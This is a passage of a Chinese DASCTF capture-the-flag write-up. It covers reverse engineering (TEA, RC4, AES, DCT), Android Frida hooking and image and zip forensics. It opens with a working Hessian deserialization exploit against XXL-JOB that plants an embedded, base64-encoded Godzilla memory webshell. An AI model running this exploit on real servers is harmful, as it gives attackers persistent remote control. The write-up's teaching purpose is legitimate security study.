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";
String xslt = xsltTemplate.replace("<base64_payload>", base64Code).replace("<class_name>", "com.xxl.job.core.JettyGodzillaMemshell");
SwingLazyValue swingLazyValue = new SwingLazyValue("com.sun.org.apache.xml.internal.security.utils.JavaUtils", "writeBytesToFilename", new Object[]{"/tmp/aaa.xslt", xslt.getBytes()});
SwingLazyValue swingLazyValue1 = new SwingLazyValue("com.sun.org.apache.xalan.internal.xslt.Process", "_main", new Object[]{new String[]{"-XT", "-XSL", "/tmp/aaa.xslt"}});
Object[] keyValueList = new Object[]{"abc", swingLazyValue};
Object[] keyValueList1 = new Object[]{"ccc", swingLazyValue1};
UIDefaults uiDefaults1 = new UIDefaults(keyValueList);
UIDefaults uiDefaults2 = new UIDefaults(keyValueList);
UIDefaults uiDefaults3 = new UIDefaults(keyValueList1);
UIDefaults uiDefaults4 = new UIDefaults(keyValueList1);
Hashtable<Object, Object> hashtable1 = new Hashtable<>();
Hashtable<Object, Object> hashtable2 = new Hashtable<>();
Hashtable<Object, Object> hashtable3 = new Hashtable<>();
Hashtable<Object, Object> hashtable4 = new Hashtable<>();
hashtable1.put("a", uiDefaults1);
hashtable2.put("a", uiDefaults2);
hashtable3.put("b", uiDefaults3);
hashtable4.put("b", uiDefaults4);
Object gettable = hessian_demo_main.gettable(hashtable1, hashtable2, hashtable3, hashtable4);
HessianSerializer serializer = new HessianSerializer();
// byte[] data = serializer.serialize(xxlRpcRequest);
ByteArrayOutputStream os = new ByteArrayOutputStream();
Hessian2Output ho = new Hessian2Output(os);
byte[] var5;
SerializerFactory serializerFactory = ho.getSerializerFactory();
serializerFactory.setAllowNonSerializable(true);
ho.setSerializerFactory(serializerFactory);
ho.writeObject(gettable);
ho.flush();
byte[] result = os.toByteArray();
var5 = result;
String shellcode = sendPostRequest("http://127.0.0.1:21000/run", var5);
System.out.println(shellcode);
}
}
最终哥斯拉直接x-fuck-data:godzilla就可以连接哥斯拉了。
解题步骤
83 C6 02 add si, 2
seg002:011A 8B CE mov cx, si
seg002:011C 83 E9 04 sub cx, 4
seg002:011F D1 E9 shr cx, 1
seg002:0121 83 F9 58 cmp cx, 88
seg002:0124 75 03 jnz short loc_104A9
最后发现此处长度比较,我们将他改为5然后运行程序玩一下就可以得到flag
mov cx, 20h ; ' '
seg002:025F 8D 36 2A 03 lea si, aDasctf+6 ; ""
seg002:0263 8D 3E 24 03 lea di, aDasctf ; "DASCTF"
seg002:0263
seg002:0267
seg002:0267 loc_105E7: ; CODE XREF: sub_105DC:loc_105F9↓j
seg002:0267 8A 04 mov al, [si]
seg002:0269 32 05 xor al, [di]
seg002:026B 88 04 mov [si], al
seg002:026D 46 inc si
seg002:026E 47 inc di
seg002:026F 81 FF 2A 03 cmp di, 32Ah
seg002:0273 75 04 jnz short loc_105F9
可以发现是 解题步骤 int sub_4153E0() { int v0; // eax sub_4114D8(&unk_4250F3); v0 = sub_41126C(std::cout, "Please input flag"); std::ostream::operator<<(v0, &sub_411055); sub_411384(); sub_4115AA(std::cin, &unk_422580); if ( !j_memcmp(&unk_422580, aDasctfIAmFakeB, 0x100u) ) puts("Right!"); else puts("Wrong!"); sub_411384(); return 0; } 发现就一个memcmp,比较了一个fake flag __int64 __cdecl sub_41D250(char *Str) { __int64 v1; // rax __int64 v3; // [esp-8h] [ebp-24Ch] int j; // [esp+D0h] [ebp-174h] size_t i; // [esp+F4h] [ebp-150h] char *v6; // [esp+100h] [ebp-144h] int v7; // [esp+124h] [ebp-120h] BYREF int v8; // [esp+128h] [ebp-11Ch] int v9; // [esp+12Ch] [ebp-118h] int v10; // [esp+130h] [ebp-114h] char v11[260]; // [esp+13Ch] [ebp-108h] BYREF int savedregs; // [esp+244h] [ebp+0h] BYREF sub_4114D8(&unk_4250F3); v11[0] = -7; v11[1] = 77; v11[2] = 43; v11[3] = -68; v11[4] = 19; v11[5] = -35; v11[6] = 19; v11[7] = 98; v11[8] = -55; v11[9] = -4; v11[10] = -1; v11[11] = -119; v11[12] = 125; v11[13] = 79; v11[14] = -55; v11[15] = 15; v11[16] = 99; v11[17] = 29; v11[18] = 109; v11[19] = 82; v11[20] = 80; v11[21] = -3; v11[22] = 65; v11[23] = -29; v11[24] = 51; v11[25] = 118; v11[26] = 40; v11[27] = -105; v11[28] = 56; v11[29] = 54; v11[30] = -7; v11[31] = 107; v11[32] = -112; v11[33] = 57; v11[34] = 20; v11[35] = -125; v11[36] = 44; v11[37] = -30; v11[38] = 44; v11[39] = 31; memset(&v11[40], 0, 216); v7 = 0; v8 = 0; v9 = 0; v10 = 0; if ( j_strlen(Str) == 40 ) { v6 = Str + 4; v7 = *Str; v8 = *(Str + 1); sub_411541(&v7, &unk_422100); *Str = v7; *(Str + 1) = v8; for ( i = 2; i < j_strlen(Str) >> 2; i += 2 ) { sub_411541(&v7, &unk_422100); *Str = v7; *v6 = v8; *&Str[4 * i] ^= *Str; *&Str[4 * i + 4] ^= *v6; } for ( j = 0; j < 40; ++j ) { HIDWORD(v1) = j; if ( Str[j] != v11[j] ) { LODWORD(v1) = 1; goto LABEL_12; } } LODWORD(v1) = 0; } else { LODWORD(v1) = 1; } LABEL_12: v3 = v1; sub_41130C(&savedregs, &unk_41D5CC); return v3; } int __cdecl sub_41D6F0(unsigned int *a1, _DWORD *a2) { int result; // eax unsigned int i; // [esp+DCh] [ebp-2Ch] int v4; // [esp+E8h] [ebp-20h] unsigned int v5; // [esp+F4h] [ebp-14h] unsigned int v6; // [esp+100h] [ebp-8h] sub_4114D8(&unk_4250F3); v6 = *a1; v5 = a1[1]; v4 = 0; for ( i = 0; i < 0x10; ++i ) { v6 += (a2[1] + (v5 >> 5)) ^ (v4 + v5) ^ (*a2 + 16 * v5); v5 += (a2[3] + (v6 >> 5)) ^ (v4 + v6) ^ (a2[2] + 16 * v6); v4 -= 1640531527; } *a1 = v6; result = 4; a1[1] = v5; return result; } 发现主要逻辑是tea #include<cstdio> #include<cmath> #include<map> #include<vector> #include<queue> #include<stack> #include<set> #include<string> #include<cstring> #include<list> #include<stdlib.h> using namespace std; typedef int status; typedef int selemtype; unsigned int Key[7] = {0x12345678, 0x09101112, 0x13141516, 0x15161718}; void tea_encrypt(uint32_t *v, uint32_t *k) { printf("%X %X\n",v[0],v[1]); uint32_t v0 = v[0], v1 = v[1], sum = 0, i; uint32_t delta = 0x61C88647; for (i = 0; i < 16; i++) { v0 += ((v1 << 4) + k[0]) ^ (v1 + sum) ^ ((v1 >> 5) + k[1]); v1 += ((v0 << 4) + k[2]) ^ (v0 + sum) ^ ((v0 >> 5) + k[3]); sum -= delta; } v[0] = v0; v[1] = v1; } unsigned char Cipher[256] = "asdasdasdsadsadsadasd"; unsigned int Tmp[4] = {0}; int main() { unsigned int *p1 = (unsigned int *)(Cipher); unsigned int *p2 = (unsigned int *)(Cipher + 4); printf("%s\n", Cipher); Tmp[0] = *p1, Tmp[1] = *p2; tea_encrypt(Tmp, Key); printf("%X %X\n", *p1, *p2); *p1 = Tmp[0]; *p2 = Tmp[1]; for (int i = 2 ; i < strlen((char*) Cipher) / 4 ; i += 2 ) { tea_encrypt(Tmp, Key); *p1 = Tmp[0]; *p2 = Tmp[1]; // printf("%X %X\n", *p1, *p2); unsigned int *p3 = (unsigned int *)(Cipher + i * 4); unsigned int *p4 = (unsigned int *)(Cipher + i * 4 + 4); *p3 ^= *p1; *p4 ^= *p2; }; for (int i = 0 ; i < 40 ; i ++ ) { printf("0x%X,", Cipher[i]); } } 就可以写出相应的EXP: #include <cstdio> #include <cstring> #include <cstdint> #include <iostream> using namespace std; unsigned int Key[6] = {0x12345678, 0x09101112, 0x13141516, 0x15161718}; void tea_decrypt(uint32_t *v, uint32_t *k) { // printf("%X %X\n",v[0],v[1]); uint32_t v0 = v[0], v1 = v[1], sum = 0, i; uint32_t delta = 0x61C88647; for (int i = 0 ; i < 16 ; i ++ ) sum -= 0x61C88647; for (i = 0; i < 16; i++) { sum += delta; v1 -= ((v0 << 4) + k[2]) ^ (v0 + sum) ^ ((v0 >> 5) + k[3]); v0 -= ((v1 << 4) + k[0]) ^ (v1 + sum) ^ ((v1 >> 5) + k[1]); } v[0] = v0; v[1] = v1; } unsigned int Tmp[4] = {0}; int main() { unsigned char EncryptedCipher[45] = { 0xF9, 0x4D, 0x2B, 0xBC, 0x13, 0xDD, 0x13, 0x62, 0xC9, 0xFC, 0xFF, 0x89, 0x7D, 0x4F, 0xC9, 0x0F, 0x63, 0x1D, 0x6D, 0x52, 0x50, 0xFD, 0x41, 0xE3, 0x33, 0x76, 0x28, 0x97, 0x38, 0x36, 0xF9, 0x6B, 0x90, 0x39, 0x14, 0x83, 0x2C, 0xE2, 0x2C, 0x1F, 0 }; unsigned int *p1 = (unsigned int *)(EncryptedCipher); unsigned int *p2 = (unsigned int *)(EncryptedCipher + 4); for (int i = 8 ; i >= 2 ; i -= 2) { unsigned int *p3 = (unsigned int *)(EncryptedCipher + i * 4); unsigned int *p4 = (unsigned int *)(EncryptedCipher + i * 4 + 4); *p3 ^= *p1; *p4 ^= *p2; puts((char*)EncryptedCipher); Tmp[0] = *p1, Tmp[1] = *p2; tea_decrypt(Tmp, Key); *p1 = Tmp[0], *p2 = Tmp[1]; } Tmp[0] = *p1, Tmp[1] = *p2; tea_decrypt(Tmp, Key); *p1 = Tmp[0], *p2 = Tmp[1]; puts((char*)EncryptedCipher); } 解题步骤 POST / HTTP/1.1 Content-Type: application/x-www-form-urlencoded charset: utf-8 User-Agent: Dalvik/2.1.0 (Linux; U; Android 11; M2004J7AC Build/RP1A.200720.011) Host: yuanshen.com Connection: close Accept-Encoding: gzip, deflate Content-Length: 49 data=5SxJF2QOBphluhtPmIZrD0iqGnYQc6tI1EFvcyrMo8g= 参数和Respoonse.txt中给出的一致,那么肯定是加密上传了,那么我们只需要打印java.net.HttpURLConnection; okhttp3.Response;java.net.HttpURLConnection的调用栈,就可以看到蛛丝马迹HOOK代码: Java.perform(function() { // Hook URL.openConnection() var URL = Java.use("java.net.URL"); URL.openConnection.overload().implementation = function() { console.log("URL.openConnection() called"); var result = this.openConnection(); printStackTrace(); return result; }; // Hook HttpURLConnection.connect() var HttpURLConnection = Java.use("java.net.HttpURLConnection"); HttpURLConnection.connect.implementation = function() { console.log("HttpURLConnection.connect() called"); printStackTrace(); return this.connect(); }; // Hook HttpURLConnection.getOutputStream() HttpURLConnection.getOutputStream.implementation = function() { console.log("HttpURLConnection.getOutputStream() called"); printStackTrace(); return this.getOutputStream(); }; // Hook HttpURLConnection.getInputStream() HttpURLConnection.getInputStream.implementation = function() { console.log("HttpURLConnection.getInputStream() called"); printStackTrace(); return this.getInputStream(); }; function printStackTrace() { var stackTrace = Java.use("java.lang.Thread").currentThread().getStackTrace(); console.log("Stack trace:"); for (var i in stackTrace) { console.log(stackTrace[i].toString()); } } // Hook okhttp3.OkHttpClient and related methods var OkHttpClient = Java.use("okhttp3.OkHttpClient"); var Call = Java.use("okhttp3.Call"); var Request = Java.use("okhttp3.Request"); var Response = Java.use("okhttp3.Response"); // Hook OkHttpClient.newCall OkHttpClient.newCall.overload('okhttp3.Request').implementation = function(request) { console.log("OkHttpClient.newCall() called with request: " + request); printStackTrace(); return this.newCall(request); }; // Hook Call.execute Call.execute.implementation = function() { console.log("Call.execute() called"); printStackTrace(); return this.execute(); }; // Hook Response.body Response.body.implementation = function() { console.log("Response.body() called"); printStackTrace(); return this.body(); }; }); 发现如下调用栈: [M2004J7AC::NoteX ]-> URL.openConnection() called Stack trace: dalvik.system.VMStack.getThreadStackTrace(Native Method) java.lang.Thread.getStackTrace(Thread.java:1736) java.net.URL.openConnection(Native Method) site.qifen.note.model.sendRequest.sendPost(sendRequest.java:19) site.qifen.note.ui.NoteActivity$EncryptAndSendTask.doInBackground(NoteActivity.java:192) site.qifen.note.ui.NoteActivity$EncryptAndSendTask.doInBackground(NoteActivity.java:174) android.os.AsyncTask$3.call(AsyncTask.java:394) java.util.concurrent.FutureTask.run(FutureTask.java:266) android.os.AsyncTask$SerialExecutor$1.run(AsyncTask.java:305) java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1167) java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:641) java.lang.Thread.run(Thread.java:923) [Ljava.lang.StackTraceElement;@31cb859 function p() { [native code] } private class EncryptAndSendTask extends AsyncTask<String, Void, String> { private EncryptAndSendTask() { } /* JADX INFO: Access modifiers changed from: protected */ @Override // android.os.AsyncTask public String doInBackground(String... params) { String contentText = params[0]; try { byte[] dexData = NoteActivity.this.loadData("Sex.jpg"); ByteBuffer dexBuffer = ByteBuffer.wrap(dexData); InMemoryDexClassLoader classLoader = null; if (Build.VERSION.SDK_INT >= 26) { classLoader = new InMemoryDexClassLoader(dexBuffer, NoteActivity.this.getClassLoader()); } Class<?> checkerClass = classLoader.loadClass("site.qifen.note.ui.Encrypto"); Method checkMethod = checkerClass.getMethod("encrypt", String.class); NoteActivity.this.contentText_back = contentText; String cipher = (String) checkMethod.invoke(checkerClass.getDeclaredConstructor(new Class[0]).newInstance(new Object[0]), NoteActivity.this.sendInit(contentText)); String response = sendRequest.sendPost("http://yuanshen.com/", "data=" + cipher); Log.d("JNITest", "Server Response: " + response); return cipher; } catch (Exception e) { e.printStackTrace(); return null; } } /* JADX INFO: Access modifiers changed from: protected */ @Override // android.os.AsyncTask public void onPostExecute(String cipher) { if (cipher != null) { String titleText = NoteActivity.this.noteWriteTitleEdit.getText().toString(); String tagText = NoteActivity.this.noteWriteTagEdit.getText().toString(); String date = new SimpleDateFormat(DatePattern.NORM_DATETIME_MINUTE_PATTERN).format(new Date()); if (NoteActivity.this.note == null) { NoteActivity.this.noteDao.insertNote(new Note(tagText, titleText, NoteActivity.this.contentText_back, date, false)); NoteUtil.toast("保存成功"); NoteActivity.this.finish(); return; } NoteActivity.this.note.setTitle(titleText); NoteActivity.this.note.setContent(NoteActivity.this.contentText_back); NoteActivity.this.note.setDate(date); NoteActivity.this.note.setTag(NoteActivity.this.contentText_back); NoteActivity.this.noteDao.updateNote(NoteActivity.this.note); NoteUtil.toast("修改成功"); NoteActivity.this.finish(); return; } NoteUtil.toast("加密失败"); } } 根据调用栈我们定位到上面代码,可以发现他从Sex.jpg中加载了一个site.qifen.note.ui.Encrypto类,来加密从从Native层方法sendInit返回的字符串。既然这样,我们需要想办法得到Dex的内容 let NoteActivity = Java.use("site.qifen.note.ui.NoteActivity"); NoteActivity["loadData"].implementation = function (str) { console.log(`NoteActivity.loadData is called: str=${str}`); let result = this["loadData"](str); console.log(`NoteActivity.loadData result=${result}`); return result; }; 将输出的bytes保存为一个新的Dex文件即可。或者我们分析发现程序是RC4解密的Sex.jpg public byte[] loadData(String str) { try { InputStream open = getAssets().open(str); byte[] encryptedData = new byte[open.available()]; open.read(encryptedData); open.close(); byte[] key = "DASCTF".getBytes(); return rc4Decrypt(key, encryptedData); } catch (IOException e) { Log.e("错误", "加载数据时发生错误", e); return null; } } private byte[] rc4Decrypt(byte[] key, byte[] data) { int[] S = new int[256]; for (int i = 0; i < 256; i++) { S[i] = i; } int j = 0; for (int i2 = 0; i2 < 256; i2++) { j = ((S[i2] + j) + (key[i2 % key.length] & UByte.MAX_VALUE)) % 256; int temp = S[i2]; S[i2] = S[j]; S[j] = temp; } int i3 = data.length; byte[] result = new byte[i3]; int i4 = 0; int j2 = 0; for (int k = 0; k < data.length; k++) { i4 = (i4 + 1) % 256; j2 = (S[i4] + j2) % 256; int temp2 = S[i4]; S[i4] = S[j2]; S[j2] = temp2; int t = (S[i4] + S[j2]) % 256; result[k] = (byte) (data[k] ^ S[t]); } return result; } 写出解密代码即可 def rc4_initialize(key): # 初始化S盒 S = list(range(256)) j = 0 for i in range(256): j = (j + S[i] + key[i % len(key)]) % 256 S[i], S[j] = S[j], S[i] return S def rc4_generate_keystream(S, data_length): # 生成密钥流 i = 0 j = 0 keystream = [] for _ in range(data_length): i = (i + 1) % 256 j = (j + S[i]) % 256 S[i], S[j] = S[j], S[i] K = S[(S[i] + S[j]) % 256] keystream.append(K) return keystream def rc4_encrypt(key, data): key = [ord(c) for c in key] S = rc4_initialize(key) keystream = rc4_generate_keystream(S, len(data)) encrypted_data = bytes([data_byte ^ keystream_byte for data_byte, keystream_byte in zip(data, keystream)]) return encrypted_data def main(): # 文件名和密钥 filename = 'Sex.jpg' key = 'DASCTF' # 读取文件内容 with open(filename, 'rb') as f: data = f.read() # 进行 RC4 解密 encrypted_data = rc4_encrypt(key, data) # 保存解密后的数据到新文件 with open('Encrypto.dex', 'wb') as f: f.write(encrypted_data) print("解密完成,解密后的文件已保存为 'Encrypto.dex") if __name__ == "__main__": main() 最终发现其实就是一个AES package site.qifen.note.ui; import android.util.Base64; import javax.crypto.Cipher; import javax.crypto.spec.SecretKeySpec; /* loaded from: E:\DASCTF-46\BabAndroid\加密dex\DASCTF */ public class Encrypto { private static final String KEY = "DSACTF"; private static final String TAG = "Encrypto"; private static byte[] customHash(String input) { byte[] keyBytes = new byte[16]; int[] temp = new int[16]; for (int i = 0; i < input.length(); i++) { int charVal = input.charAt(i); for (int j = 0; j < 16; j++) { temp[j] = ((temp[j] * 31) + charVal) % 251; } } for (int i2 = 0; i2 < 16; i2++) { keyBytes[i2] = (byte) (temp[i2] % 256); } return keyBytes; } public static String encrypt(String data) throws Exception { byte[] keyBytes = customHash(KEY); SecretKeySpec secretKeySpec = new SecretKeySpec(keyBytes, "AES"); Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding"); cipher.init(1, secretKeySpec); byte[] encryptedBytes = cipher.doFinal(data.getBytes("UTF-8")); return Base64.encodeToString(encryptedBytes, 2); } } 通过Hook获取key,或者自己直接算,都可以。 Java.enumerateClassLoaders({ onMatch: function (loader) { try { var factory = Java.ClassFactory.get(loader); var CheckerClass = factory.use("site.qifen.note.ui.Encrypto"); var key = CheckerClass.customHash("DSACTF"); console.log(key); } catch (e) { // console.log("Error accessing class or method: " + e); } }, onComplete: function () { } }); 发现hook到的返回值如下: def custom_hash(input_string): key_bytes = bytearray(16) # 创建一个16字节的数组 temp = [0] * 16 # 初始化一个长度为16的整数数组,所有元素为0 # 遍历输入字符串中的每个字符 for char in input_string: char_val = ord(char) # 获取字符的Unicode编码 for j in range(16): temp[j] = (temp[j] * 31 + char_val) % 251 # 更新临时数组 # 将计算得到的临时数组转换为字节串 for i in range(16): key_bytes[i] = temp[i] % 256 return bytes(key_bytes) # 返回字节串 # 测试函数 input_string = "DSACTF" result = custom_hash(input_string) for i in result: print(hex(i),end=','); 解AES得到如下字符串:458.853181,-18.325492,-18.251911,-2.097520,-21.198660,-22.304648,21.103162,-5.786284,-15.248906,15.329286,16.919499,-19.669045,30.928253,-37.588034,-16.593954,-5.505211,3.014744,6.553616,31.131491,16.472500,6.802400,-78.278577,15.280099,3.893073,56.493581,-34.576344,30.146729,4.445671,6.732204 __int64 __fastcall Java_site_qifen_note_ui_NoteActivity_sendInit(_JNIEnv *a1, __int64 a2, __int64 a3) { std::__ndk1 *v3; // x0 __int64 v5; // [xsp+8h] [xbp-138h] char *v6; // [xsp+10h] [xbp-130h] __int64 v7; // [xsp+48h] [xbp-F8h] __int64 v8; // [xsp+50h] [xbp-F0h] __int64 StringUTFChars; // [xsp+68h] [xbp-D8h] char v12[24]; // [xsp+88h] [xbp-B8h] BYREF char v13[24]; // [xsp+A0h] [xbp-A0h] BYREF __int64 v14; // [xsp+B8h] [xbp-88h] BYREF __int64 v15; // [xsp+C0h] [xbp-80h] BYREF char v16[24]; // [xsp+C8h] [xbp-78h] BYREF char v17[24]; // [xsp+E0h] [xbp-60h] BYREF char v18[24]; // [xsp+F8h] [xbp-48h] BYREF char v19[24]; // [xsp+110h] [xbp-30h] BYREF __int64 v20; // [xsp+128h] [xbp-18h] v20 = *(_ReadStatusReg(ARM64_SYSREG(3, 3, 13, 0, 2)) + 40); StringUTFChars = _JNIEnv::GetStringUTFChars(a1, a3, 0LL); sub_15994(v19, StringUTFChars); _JNIEnv::ReleaseStringUTFChars(a1, a3, StringUTFChars); v8 = sub_15A40(v19); v7 = sub_15AB4(v19); std::vector<int>::vector<std::__wrap_iter<char *>>(v18, v8, v7); encrypt(v18); sub_15C34(v16); v15 = sub_15C74(v17); v14 = sub_15CB4(v17); while ( (sub_15CF0(&v15, &v14) & 1) != 0 ) { v3 = sub_15D38(&v15); std::to_string(v3, *v3); sub_15D50(v12, ","); sub_15D98(v16, v13); std::string::~string(v13); std::string::~string(v12); sub_15E34(&v15); } if ( (sub_15E5C(v16) & 1) == 0 ) sub_15EA0(v16); v6 = sub_15FD4(v16); v5 = _JNIEnv::NewStringUTF(a1, v6); std::string::~string(v16); sub_15668(v17); sub_15FF8(v18); std::string::~string(v19); _ReadStatusReg(ARM64_SYSREG(3, 3, 13, 0, 2)); return v5; } double *__usercall encrypt@<X0>(__int64 a1@<X0>, __int64 a2@<X8>) { double *result; // x0 double *v3; // x8 double v4; // [xsp+18h] [xbp-88h] double v5; // [xsp+28h] [xbp-78h] double v7; // [xsp+70h] [xbp-30h] int j; // [xsp+78h] [xbp-28h] int i; // [xsp+7Ch] [xbp-24h] int v10; // [xsp+84h] [xbp-1Ch] __int64 v12[2]; // [xsp+90h] [xbp-10h] BYREF v12[1] = *(_ReadStatusReg(ARM64_SYSREG(3, 3, 13, 0, 2)) + 40); v10 = sub_15548(a1); v12[0] = 0LL; result = std::vector<double>::vector(a2, v10, v12); for ( i = 0; i < v10; ++i ) { for ( j = 0; j < v10; ++j ) { v7 = *sub_15608(a1, j); v5 = cos((j + 0.5) * (i * 3.14159265) / v10) * v7; v3 = sub_15638(a2, i); *v3 = *v3 + v5; } if ( i ) v4 = sqrt(2.0 / v10); else v4 = sqrt(1.0 / v10); result = sub_15638(a2, i); *result = *result * v4; } _ReadStatusReg(ARM64_SYSREG(3, 3, 13, 0, 2)); return result; } 典型的离散余弦变换 #include <iostream> #include <vector> #include <cmath> std::vector<double> decrypt(const std::vector<double>& input) { int v9 = input.size(); std::vector<double> result(v9, 0.0); for (int i = 0; i < v9; ++i) { for (int j = 0; j < v9; ++j) { double v7 = (j == 0) ? sqrt(1.0 / v9) : sqrt(2.0 / v9); double v5 = input[j]; double v6 = cos((i + 0.5) * (3.141592653589793 * j) / v9) * v5 * v7; result[i] += v6; } // 四舍五入 result[i] = round(result[i]); } return result; } int main() { std::vector<double> input = {458.853181, -18.325492, -18.251911, -2.097520, -21.198660, -22.304648, 21.103162, -5.786284, -15.248906, 15.329286, 16.919499, -19.669045, 30.928253, -37.588034, -16.593954, -5.505211, 3.014744, 6.553616, 31.131491, 16.472500, 6.802400, -78.278577, 15.280099, 3.893073, 56.493581, -34.576344, 30.146729, 4.445671, 6.732204}; std::vector<double> decrypted = decrypt(input); for (const auto& value : decrypted) { std::cout << (char) value; } std::cout << std::endl; return 0; } 解题步骤 下载附件,利用winhex查看 得到第一段flag 用010查看,发现有有问题的IDAT块 提取之后替换一个正常的png的IDAT,然后进行宽高爆破 得到 提示关注2和3 结合原图片的不正常显示 猜测进行了LSB处理,提取一下 from PIL import Image img = Image.open('flag.png') width, height = img.size flag1 = '' for y in range(0,height,3): for x in range(0,width,2): pixel = img.getpixel((x, y)) print(pixel) flag1 += chr(pixel[3]) print(flag1[:23]) 得到最后一段flag 或者 中间缺一部分,把原图拖进stegsolve查看发现alpha plane 0-7左上角均有异常,勾选查看: 得到第二部分flag 拼接起来: 解题步骤 直接解压会报错,010打开模板报错,发现解压文件长度不对 将文件头和目录区的长度都修改为7之后模板不再报错 